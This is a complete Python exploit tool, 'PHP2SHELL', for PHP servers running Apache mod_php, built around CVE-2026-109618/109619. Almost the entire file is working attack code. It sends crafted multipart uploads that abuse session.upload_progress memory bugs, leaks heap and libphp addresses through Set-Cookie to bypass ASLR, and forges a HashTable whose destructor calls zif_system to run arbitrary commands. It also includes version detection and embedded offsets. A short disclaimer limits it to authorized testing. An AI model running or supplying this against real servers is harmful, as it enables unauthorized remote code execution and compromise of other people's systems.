exploit.py

#!/usr/bin/env python3
"""
PHP2SHELL - single-file remote HTTP-only RCE for PHP (CVE-2026-109618 / CVE-2026-109619).

One file. No gdb, no /proc, no .bin blob (the multipart body is built on the fly).
In-band ASLR bypass via a Set-Cookie heap disclosure (kernel-independent auto-range),
followed by a dangling-reference reclaim selected per PHP version. Version and CPU
architecture are auto-detected.

Mechanism (session.upload_progress / RFC 1867 memory-safety chain):
  stage 1  OOM before RINIT leaves PS(id) dangling -> forged zend_string ->
           Set-Cookie discloses the Zend MM chunk base   (heap ASLR bypass)
  stage 2  56-byte HashTable overlap -> Set-Cookie leaks a libphp pointer
           (via zval_ptr_dtor) -> libphp base            (code ASLR bypass)
  stage 3  dangling PS(http_session_vars) reclaim -> fake array/execute_data ->
           pDestructor = zif_system -> command execution

Usage:
  python3 exploit.py -u http://host:PORT/page.php --container <docker>   # lab: auto + proof read
  python3 exploit.py -u http://host:PORT/page.php --version 8.5.11 -c 'id>/tmp/x'
  python3 exploit.py --list                                              # profiles + offsets

Status per branch (stage3 = full RCE; the ASLR leak works wherever it leaks):
  x86_64: 8.4.26 RCE OK | 8.5.11 RCE OK | 8.2.34/8.3.35 leak OK, stage3 pending
  arm64 : partial leak, stage3 pending (needs arm64 calibration)

Target requirements (the official php:X-apache image matches these):
  Apache prefork, single worker, mod_php; display_errors=On;
  session.upload_progress.enabled=On; memory_limit smaller than the OOM field.

For authorized testing and research on systems you own only. See README / DISCLAIMER.
Builds on prior public work by @9bie and @dinosn (see CREDITS in the README).
"""
import argparse, os, re, socket, struct, subprocess, sys, tempfile, threading, time, urllib.parse
from collections import Counter

# --------------------------------------------------------------------- UI
_TTY = sys.stdout.isatty() and os.environ.get("NO_COLOR") is None
def _mk(code):
    return (lambda t: "\x1b[%sm%s\x1b[0m" % (code, t)) if _TTY else (lambda t: str(t))
BOLD=_mk("1"); DIM=_mk("2"); RED=_mk("1;31"); GRN=_mk("1;32"); YEL=_mk("33"); CYN=_mk("36"); MAG=_mk("1;35")
BANNER = r"""
        _            ___         _    _ _
  _ __ | |_  _ __  |_  )___ ___| |_ | | |
 | '_ \| ' \| '_ \  / /(_-</ -_) ' \| | |
 | .__/|_||_| .__/ /___/__/\___|_||_|_|_|
 |_|        |_|            P H P 2 S H E L L
"""
def banner():
    print(MAG(BANNER))
    print("  " + BOLD("PHP RFC1867 / session.upload_progress  -  in-band ASLR RCE"))
    print("  " + DIM("CVE-2026-109618 . CVE-2026-109619   |   HTTP-only . no gdb . no /proc"))
    print()
def info(m): print(CYN("[*] ") + str(m))
def good(m): print(GRN("[+] ") + BOLD(m))
def bad(m):  print(RED("[!] ") + str(m))
def warn(m): print(YEL("[~] ") + str(m))
def phase(m): print("\n" + MAG("┏━━━━ ") + BOLD(m) + " " + MAG("━" * max(2, 46 - len(m))))
def proofbox(cmd, out):
    w = 62
    print(GRN("┌─ RCE OK " + "─" * (w - 9)))
    print(GRN("│ ") + DIM("$ ") + BOLD(cmd))
    for ln in out.splitlines():
        print(GRN("│ ") + ln)
    print(GRN("└" + "─" * w))

# --------------------------------------------------------------------- registry
# Per-version stage3 geometry (s3: reclaim method; htdata: chunk-relative carrier offset)
PROFILES = {
    "8.4.26": dict(s3="9bie", htdata=0x690d8, huge=12),
    "8.5.11": dict(s3="nb",   htdata=0x7e0d8, huge=24),
    "8.3.35": dict(s3="9bie", htdata=None,    huge=24),   # leak OK; htdata/struct pending
    "8.2.34": dict(s3="9bie", htdata=None,    huge=24),   # leak pending (OOM path differs)
}
SERIES_DEFAULT = {"8.2": "8.2.34", "8.3": "8.3.35", "8.4": "8.4.26", "8.5": "8.5.11"}
# libphp offset inventory (relative, ASLR-independent). Prefer auto-derivation (--container).
OFFSETS = {
    "x86_64": {
        "8.2.34": (0x39b8a0, 0x487650), "8.3.35": (0x3ac080, 0x49ec50),
        "8.4.26": (0x465370, 0x65eb60), "8.5.11": (0x5996e0, 0x7b47a0),
    },
    "arm64": {
        "7.4.33": (0x309640, 0x3f6024), "8.0.30": (0x31ef70, 0x40ddb0),
        "8.1.34": (0x341e08, 0x42e7a0), "8.2.34": (0x36ff48, 0x4606c0),
        "8.3.35": (0x377428, 0x46fcc0), "8.4.26": (0x465370, 0x65eb60),
        "8.5.11": (0x5314f0, 0x761b80),
    },
}
SID = b"attacksessionid0001"

# --------------------------------------------------------------------- HTTP
class Target:
    def __init__(self, url, timeout=30):
        u = urllib.parse.urlsplit(url)
        self.host, self.port, self.path = u.hostname, u.port or 80, u.path or "/"
        self.timeout = timeout
    def _conn(self):
        s = socket.create_connection((self.host, self.port), timeout=self.timeout)
        try: s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
        except OSError: pass
        return s
    def post(self, body, boundary, read_cap=1 << 20, timeout=None, extra_headers=None):
        extra = "".join(f"{k}: {v}\r\n" for k, v in (extra_headers or {}).items())
        hdr = (f"POST {self.path} HTTP/1.1\r\nHost: {self.host}:{self.port}\r\n{extra}"
               f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
               f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n").encode()
        s = self._conn(); s.settimeout(timeout or self.timeout)
        data = bytearray()
        def rd():
            try:
                while len(data) < read_cap:
                    c = s.recv(65536)
                    if not c: break
                    data.extend(c)
            except OSError: pass
        th = threading.Thread(target=rd, daemon=True); th.start()
        try:
            try:
                s.sendall(hdr); mv = memoryview(body)
                for o in range(0, len(body), 262144): s.sendall(mv[o:o + 262144])
            except OSError: pass
            th.join(timeout=(timeout or self.timeout) + 1.0); return bytes(data)
        finally: s.close()

def multipart(parts, boundary):
    out = bytearray()
    for p in parts:
        out += b"--" + boundary + b"\r\n" + b'Content-Disposition: form-data; name="' + p["name"].encode() + b'"'
        if p.get("filename") is not None:
            out += b'; filename="' + p["filename"].encode() + b'"\r\nContent-Type: application/octet-stream'
        out += b"\r\n\r\n" + p["data"] + b"\r\n"
    return bytes(out + b"--" + boundary + b"--\r\n")

def parse_cookie(resp):
    m = re.search(rb"Set-Cookie: PHPSESSID=([^\r\n]*?); path=/", resp)
    return urllib.parse.unquote_to_bytes(m.group(1).decode("latin1")) if m else b""

# --------------------------------------------------------------------- ELF offsets (auto-derive)
def elf_offsets(container):
    LIB = "/usr/lib/apache2/modules/libphp.so"
    fd, path = tempfile.mkstemp(suffix=".so"); os.close(fd)
    try:
        if subprocess.run(["docker", "cp", f"{container}:{LIB}", path], capture_output=True).returncode: return None
        d = open(path, "rb").read()
    finally:
        try: os.unlink(path)
        except OSError: pass
    if d[:4] != b"\x7fELF": return None
    e_shoff, = struct.unpack_from("<Q", d, 0x28); e_shentsize, e_shnum = struct.unpack_from("<HH", d, 0x3A)
    secs = []
    for i in range(e_shnum):
        o = e_shoff + i * e_shentsize
        _, typ = struct.unpack_from("<II", d, o); off, size = struct.unpack_from("<QQ", d, o + 24)
        link, = struct.unpack_from("<I", d, o + 40); ent, = struct.unpack_from("<Q", d, o + 56)
        secs.append((typ, off, size, link, ent))
    want = {"zif_system": None, "zval_ptr_dtor": None}
    for typ, off, size, link, ent in secs:
        if typ not in (2, 11): continue
        st = secs[link] if link < len(secs) else None
        if not st: continue
        ent = ent or 24
        for i in range(size // ent):
            o = off + i * ent; nm, = struct.unpack_from("<I", d, o); val, = struct.unpack_from("<Q", d, o + 8)
            if not nm: continue
            s = d.find(b"\x00", st[1] + nm); name = d[st[1] + nm:s].decode("ascii", "replace")
            if name in want and want[name] is None: want[name] = val
    if None in want.values(): return None
    return want["zif_system"], want["zval_ptr_dtor"]

def detect(url, container):
    ver = arch = None
    if container:
        try:
            out = subprocess.run(["docker", "exec", container, "php", "-v"], capture_output=True, text=True, timeout=10).stdout
            m = re.search(r"PHP (\d+\.\d+\.\d+)", out); ver = m.group(1) if m else None
            a = subprocess.run(["docker", "exec", container, "uname", "-m"], capture_output=True, text=True, timeout=10).stdout.strip()
            arch = "arm64" if a in ("aarch64", "arm64") else "x86_64"
        except Exception: pass
    if not ver:
        try:
            import http.client
            u = urllib.parse.urlsplit(url); c = http.client.HTTPConnection(u.hostname, u.port or 80, timeout=8)
            c.request("GET", u.path or "/"); r = c.getresponse(); xp = r.getheader("X-Powered-By") or ""
            m = re.search(r"PHP/(\d+\.\d+\.\d+)", xp); ver = m.group(1) if m else None
        except Exception: pass
    return ver, (arch or ("arm64" if os.uname().machine in ("arm64", "aarch64") else "x86_64"))

# --------------------------------------------------------------------- Exploit
class Exploit:
    def __init__(self, t, cmd, zif, dtor, htdata, huge_mb):
        self.t = t; self.cmd = cmd.encode(); self.zif = zif; self.dtor = dtor; self.htdata = htdata; self.huge = huge_mb
    def _big(self):  return {"name": "big", "data": b"B" * (self.huge * 1024 * 1024)}
    def _file(self): return {"name": "f", "filename": "a.txt", "data": b"A" * 64}
    def rotate(self):
        # abort the current worker over HTTP; prefork forks a fresh one with the same ASLR base
        parts = [{"name": f"f{i:04d}"[:5], "data": b"V" * 3000} for i in range(1001)]
        parts += [{"name": "PHPSESSID", "data": b"\x00"}, {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}, self._file(), self._big()]
        self.t.post(multipart(parts, b"S" * 17), b"S" * 17, timeout=max(90.0, self.t.timeout)); time.sleep(0.3)
        parts = [{"name": "PHPSESSID", "data": SID}, {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}]
        self.t.post(multipart(parts, b"BNDRY12345"), b"BNDRY12345", read_cap=65536, timeout=20.0); time.sleep(0.5)
    def _oom(self, fill):
        parts = [{"name": f"f{i:04d}"[:5], "data": fill} for i in range(1001)]
        parts += [{"name": "PHPSESSID", "data": b"\x00"}, {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}, self._file(), self._big()]
        self.t.post(multipart(parts, b"S" * 17), b"S" * 17, timeout=max(90.0, self.t.timeout)); time.sleep(0.2)
    def stage1(self):
        # heap leak: forge a zend_string (len 0x1000) over the dangling PS(id) -> Set-Cookie dumps heap
        self._oom(b"x")
        parts = [{"name": "PHPSESSID", "data": SID}, {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}]
        for i in range(841): parts.append({"name": str(1000 + i), "data": (f"v{i:04d}" + "x" * 44)[:48].encode()})
        forge = bytearray(b"A" * 79); struct.pack_into("<Q", forge, 0x10, 0x1000); forge[0x18] = ord("L")
        parts.append({"name": "1999", "data": bytes(forge)})
        raw = parse_cookie(self.t.post(multipart(parts, b"B" * 10), b"B" * 10, read_cap=9 << 20))
        if len(raw) < 1000: return 0
        c = Counter()
        for i in range(len(raw) - 8):
            v = int.from_bytes(raw[i:i + 8], "little")
            if 0x100000000000 <= v < 0x800000000000: c[v & ~0x1FFFFF] += 1          # kernel-independent range
        if not c: return 0
        base, n = c.most_common(1)[0]; return base if n >= 8 else 0
    def stage2(self):
        # libphp leak: a 56-byte HashTable lands at PS(id)+0x18 so pDestructor (libphp) hits Set-Cookie
        self._oom(b"x" * 39)
        parts = [{"name": "PHPSESSID", "data": SID}, {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}]
        for i in range(983):
            for j in range(16 if i == 406 else 1): parts.append({"name": f"a{i:04d}[{j}]", "data": b"x" * 16})
        raw = parse_cookie(self.t.post(multipart(parts, b"B" * 10), b"B" * 10))
        if len(raw) < 16: return 0
        p = int.from_bytes(raw[8:16], "little")
        if not (0x100000000000 <= p < 0x800000000000) or (p & 0xfff) != (self.dtor & 0xfff): return 0
        return p - self.dtor
    # ---- fake array + execute_data frame shared by both reclaims ----
    def _fake_ht(self, htdata):
        cmd = self.cmd; ht = bytearray(167)
        struct.pack_into("<II", ht, 0, 1, 7)                 # gc: refcount=1, IS_ARRAY
        struct.pack_into("<II", ht, 8, 0x10, 0xFFFFFFF8)     # flags, nTableMask
        struct.pack_into("<Q", ht, 0x10, htdata + 0x20)      # arData -> execute_data
        struct.pack_into("<II", ht, 0x18, 1, 1)              # nNumUsed / nNumOfElements
        struct.pack_into("<II", ht, 0x20, 8, 0); struct.pack_into("<Q", ht, 0x28, 0)
        struct.pack_into("<Q", ht, 0x30, self.zif)           # pDestructor = zif_system
        E = 0x20
        struct.pack_into("<Q", ht, E + 0x10, self.zif)
        struct.pack_into("<I", ht, E + 0x2C, 1)              # ZEND_CALL_NUM_ARGS = 1
        struct.pack_into("<Q", ht, E + 0x50, htdata + 0x80)  # arg1 value -> fake zend_string
        struct.pack_into("<I", ht, E + 0x58, 6)              # arg1 type = IS_STRING
        struct.pack_into("<II", ht, 0x80, 1, 0x106); struct.pack_into("<Q", ht, 0x90, len(cmd))
        ht[0x98:0x98 + len(cmd)] = cmd; ht[0x98 + len(cmd)] = 0
        return bytes(ht)
    # ---- reclaim method "9bie" (8.4.x official image, bookworm carrier) ----
    def stage3_9bie(self, htdata):
        parts = [{"name": "PHPSESSID", "data": b"a" * 19}, {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"ppp"}]
        for i, (nl, vl) in enumerate([(31, 31)] * 6):
            parts.append({"name": (f"p{i:0{nl-1}d}")[:nl], "data": b"V" * vl})
        parts += [self._file(), self._big()]
        self.t.post(multipart(parts, b"S" * 17), b"S" * 17, timeout=max(90.0, self.t.timeout),
                    extra_headers={"Cookie": "PHPSESSID=" + "a" * 32}); time.sleep(0.3)
        ht = self._fake_ht(htdata)
        carrier = struct.pack("<II", 1, 0x1A) + struct.pack("<Q", htdata)[:7]
        parts = [{"name": "PHPSESSID", "data": SID}, {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}]
        for i in range(2): parts.append({"name": f"f{i:02d}", "data": b"F" * 15})
        parts.append({"name": "g00", "data": carrier})
        for i in range(15): parts.append({"name": (f"a{i:030d}")[:31], "data": ht})
        self.t.post(multipart(parts, b"B" * 10), b"B" * 10, read_cap=65536, timeout=30.0)
    # ---- reclaim method "nb" (8.5.x, live 31-byte carrier) ----
    def _live_ref(self, htdata):
        v = bytearray(b"R" * 31); struct.pack_into("<Q", v, 0, (10 << 32) | 1)
        struct.pack_into("<Q", v, 8, htdata); struct.pack_into("<I", v, 0x10, 0x307)
        struct.pack_into("<I", v, 0x14, 0); return bytes(v)
    def _oom_arm_pads(self):
        parts = [{"name": "PHPSESSID", "data": b"a" * 100}, {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"ppp"}]
        for i in range(107): parts.append({"name": (f"p{i:06d}")[:7], "data": b"V" * 1})
        parts += [self._file(), self._big()]
        self.t.post(multipart(parts, b"S" * 17), b"S" * 17, timeout=max(90.0, self.t.timeout)); time.sleep(0.4)
    def stage3_nb(self, htdata):
        self.rotate()           # fresh worker per attempt
        self._oom_arm_pads()    # arm: leave PS(http_session_vars) dangling
        ht = self._fake_ht(htdata); live = self._live_ref(htdata)
        parts = [{"name": "PHPSESSID", "data": b"a" * 100}, {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}]
        for i in range(8): parts.append({"name": "m%04d" % i, "data": b"M" * 100})
        for i in range(80): parts.append({"name": (f"F{i:030d}")[:31], "data": b"z"})
        for i in range(200): parts.append({"name": "r%04d" % i, "data": live})
        parts.append({"name": (f"a{0:030d}")[:31], "data": ht})
        self.t.post(multipart(parts, b"B" * 10), b"B" * 10, read_cap=65536, timeout=30.0)

# --------------------------------------------------------------------- main
def main():
    ap = argparse.ArgumentParser(description="PHP2SHELL - HTTP-only ASLR-bypass RCE for PHP (CVE-2026-109618/9)")
    ap.add_argument("-u", "--url", help="target PHP page, e.g. http://host:80/index.php")
    ap.add_argument("-c", "--cmd", default="id>/tmp/x", help="command to run (<=14 bytes by the 167B carrier)")
    ap.add_argument("--version", default="auto", help="8.4.26 | 8.5.11 | 8.4 | 8.5 | auto")
    ap.add_argument("--arch", default="auto", help="x86_64 | arm64 | auto")
    ap.add_argument("--container", default="", help="(lab) docker name for auto version/offsets and proof read")
    ap.add_argument("--retries", type=int, default=9, help="stage-3 attempts")
    ap.add_argument("--list", action="store_true", help="show profiles and the offset inventory")
    a = ap.parse_args()

    if a.list:
        banner()
        print(BOLD("Profiles (stage3 geometry):"))
        for v, p in PROFILES.items():
            tag = GRN("RCE") if p["htdata"] else YEL("leak-only")
            print("  " + BOLD(f"{v:<8}") + DIM(f"s3={p['s3']:<5} htdata={p['htdata'] and hex(p['htdata'])}") + "  [" + tag + "]")
        print(BOLD("\nlibphp offset inventory (zif_system, zval_ptr_dtor):"))
        for arch, tbl in OFFSETS.items():
            for v, (z, d) in tbl.items():
                print(DIM(f"  {arch:<7} {v:<8} zif={hex(z):<10} dtor={hex(d)}"))
        return 0

    if not a.url: ap.error("-u/--url is required")
    banner()
    ver, arch = (a.version, a.arch)
    dv, da = detect(a.url, a.container)
    if ver == "auto": ver = dv
    if arch == "auto": arch = da
    if not ver: bad("could not detect PHP version; pass --version"); return 1
    key = ver if ver in PROFILES else SERIES_DEFAULT.get(".".join(ver.split(".")[:2]))
    if not key or key not in PROFILES: bad(f"no profile for {ver}"); return 1
    prof = PROFILES[key]
    info(f"target {BOLD(a.url)}")
    info(f"PHP {BOLD(ver)} / {arch}   profile {BOLD(key)}   reclaim {BOLD(prof['s3'])}")

    off = elf_offsets(a.container) if a.container else None
    if off:
        zif, dtor = off; info("offsets auto-derived from the target binary")
    else:
        inv = OFFSETS.get(arch, {}).get(ver) or OFFSETS.get(arch, {}).get(key)
        if not inv: bad(f"no offsets for {arch}/{ver}; use --container to derive them"); return 1
        zif, dtor = inv; info("offsets from the embedded inventory")
    info(DIM(f"zif=0x{zif:x}  dtor=0x{dtor:x}  htdata={prof['htdata'] and hex(prof['htdata'])}"))

    out = a.cmd.split(">")[-1].strip() if ">" in a.cmd else None
    def proof():
        if not (a.container and out): return ""
        return subprocess.run(["docker", "exec", a.container, "sh", "-c", f"cat {out} 2>/dev/null"],
                              capture_output=True, text=True).stdout.strip()

    t = Target(a.url); ex = Exploit(t, a.cmd, zif, dtor, prof["htdata"], prof["huge"])
    phase("STAGE 1-2  in-band ASLR bypass (Set-Cookie leak)")
    ex.rotate(); chunk = 0
    for _ in range(5):
        chunk = ex.stage1()
        if chunk: break
        ex.rotate()
    if not chunk: bad("stage 1 (heap leak) failed"); return 1
    good(f"chunk base (Zend MM) = {chunk:#x}")
    ex.rotate(); libphp = 0
    for _ in range(5):
        libphp = ex.stage2()
        if libphp: break
        ex.rotate()
    if not libphp: bad("stage 2 (libphp leak) failed"); return 1
    good(f"libphp base          = {libphp:#x}")
    info("ASLR defeated in-band (HTTP only)")

    if prof["htdata"] is None:
        warn(f"stage 3 not calibrated for {key}/{arch}: the ASLR leak works, but RCE needs htdata/struct calibration.")
        return 2

    HT, ZIF = chunk + prof["htdata"], libphp + zif
    ex.zif = ZIF                                            # absolute pDestructor
    phase(f"STAGE 3  reclaim ({prof['s3']})  cmd='{a.cmd}'")
    if a.container and out:
        subprocess.run(["docker", "exec", a.container, "sh", "-c", f"rm -f {out}"], capture_output=True)
    for att in range(1, a.retries + 1):
        ex.stage3_nb(HT) if prof["s3"] == "nb" else ex.stage3_9bie(HT)
        time.sleep(0.8)
        p = proof()
        if p:
            good(f"code execution on attempt {att}"); proofbox(a.cmd, p); return 0
        print(DIM(f"    attempt {att}: {'no proof yet' if a.container else 'fired (blind)'}"))
    bad("no confirmed execution"); return 1

if __name__ == "__main__":
    try:
        sys.exit(main())
    except KeyboardInterrupt:
        sys.exit(130)